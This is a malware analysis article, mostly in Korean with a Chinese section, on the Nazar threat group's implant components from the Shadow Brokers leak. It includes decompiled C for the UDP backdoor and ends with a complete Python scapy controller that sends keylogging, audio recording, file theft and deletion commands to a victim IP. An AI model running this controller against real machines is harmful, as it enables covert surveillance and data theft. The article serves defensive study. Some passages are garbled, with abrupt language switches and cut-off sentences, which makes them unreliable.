2012년 7월 11일 오전 6:22 컨피커가 아직 대상에 있습니다
2012년 11월 7일 오전 6:18 로그 확인 - 깨끗합니다
2012년 7월 2일 오후 8:16 - 붐!, 콜백을 받았습니다.
이것은 Equation Group(NSA)이 표적 시스템을 공격하면서 남긴 기록이며 나중에 Shadow Brokers에 의해 유출되었습니다. 최근 보안 연구원들은 이전에 잘못 식별되었으며 알려지지 않은 위협 그룹 Nazar를 공개했습니다. 다음은 Nazar 구성 요소에 대한 심층 분석을 제공합니다.
Shadow Brokers의 유출된 데이터로 인해 EternalBlue와 같은 수많은 취약점이 주목을 받았지만, 여기에는 Equation Group이 공격을 시작하기 전에 수행한 작업을 보여주는 더 많은 중요한 구성 요소도 포함되어 있습니다.
예를 들어, 유출된 파일에는 드라이버 이름 목록과 해당 설명이 포함된 "drv_list.txt"라는 파일이 있는데, 이는 대상 시스템에서 드라이버가 발견되면 공격자에게 정보를 보냅니다. 에 의해. 목록에는 악성 드라이버의 이름도 포함되어 있습니다. 이러한 악성 드라이버가 발견되면 대상 시스템이 다른 시스템에 의해 손상되었음을 나타내고 공격자에게 "철회"를 경고합니다. 이러한 유형의 검사를 담당하는 핵심 구성 요소를 "영토 분쟁" 또는 "TeDi"라고 합니다.
"TeDi"에는 대상 시스템에서 다른 위협 그룹과 관련된 레지스트리 키 및 파일 이름을 검색하는 45개의 서명이 포함되어 있습니다. 보안 검색과 달리 공격자의 궁극적인 목표는 자신의 작업이 중단되지 않도록 하고 다른 공격자가 해당 도구를 탐지하지 못하도록 하는 것입니다.
어떤 경우에는 자신의 작전을 방해해도 "우호적" 위협 그룹의 작전을 방해하지 않으며 동시에 동일한 대상을 공격하지 않습니다.
실행 프로세스
Distribute.exe
먼저 Distribute.exe는 info와 Data.bin을 읽습니다. Data.bin은 여러 PE 파일을 포함하는 이진 blob입니다. info 파일은 매우 작으며 Data.bin에서 PE 파일의 길이를 나타내는 간단한 구조를 포함합니다. Distribute.exe는 파일 길이 순서대로 Data.bin을 하나씩 읽습니다. 다음 표는 Data.bin 파일과 정보 쓰기 길이 간의 관계를 보여줍니다.
CreateServiceA를 사용하여 svchost.exe를 "EYService"라는 서비스로 추가하고 서비스를 시작한 다음 종료합니다. 이 서비스는 Nazar 호출 모듈을 조정하는 공격의 주요 부분입니다.
DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if ( !AdpCfgGetAccessibleState(hCfg) ) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while ( hCfg ); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if ( !AdpOpenAdapter(ADP_struct) ) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while ( 1 ) { if ( stop_and_ping == 1 ) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; }
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if ( ntohs(udp_packet->dst_port) != 1234 ) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; }
데이터 응답
1. ACK 보내기: 대상 포트 4000, 페이로드 0000
3、发送文件:通过UDP发送数据,然后是带有
下表为命令支持列表:
Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。
Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。
目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:
C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。
hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。
该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。
from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 # 4000 is the usual port without sending files, but we use it for everything, because why not? SERVER_PORT = 4000 # We want to make sure the ID has the little endian of it ID = struct.unpack('>H',struct.pack('<H',4000))[0] def get_response(sock, should_loop): started = False total_payload = b'' while(should_loop or not started): try: payload, client_address = sock.recvfrom(4096) except ConnectionResetError: payload, client_address = sock.recvfrom(4096) total_payload += payload # Good enough stop condition if (len(payload) >= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] <= ord('9')): should_loop = False started = True hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose: 999 - Get a ping from the victim. 555 - Get information on the victim's machine. 311 - Start keylogging (312 to disable). 139 - Shutdown victim's machine. 189 - Screenshot (313 to disable). 119 - Record audio from Microphone (315 to disable). 199 - List drives. 200 - List recursivley from directory*. 201 - Send a file*. 209 - Remove file*. 599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu. """ def get_message(): while True: curr_message = input('> ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200","201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break # Send message using scapy # Make sure the IP identification field is little endian of the port. sr1( IP(dst=ip_addr, id=ID)/ UDP(sport=SERVER_PORT,dport=1234)/ Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets get_response(sock, should_loop) if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip)
위 내용은 Nazar 구성요소를 심층적으로 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!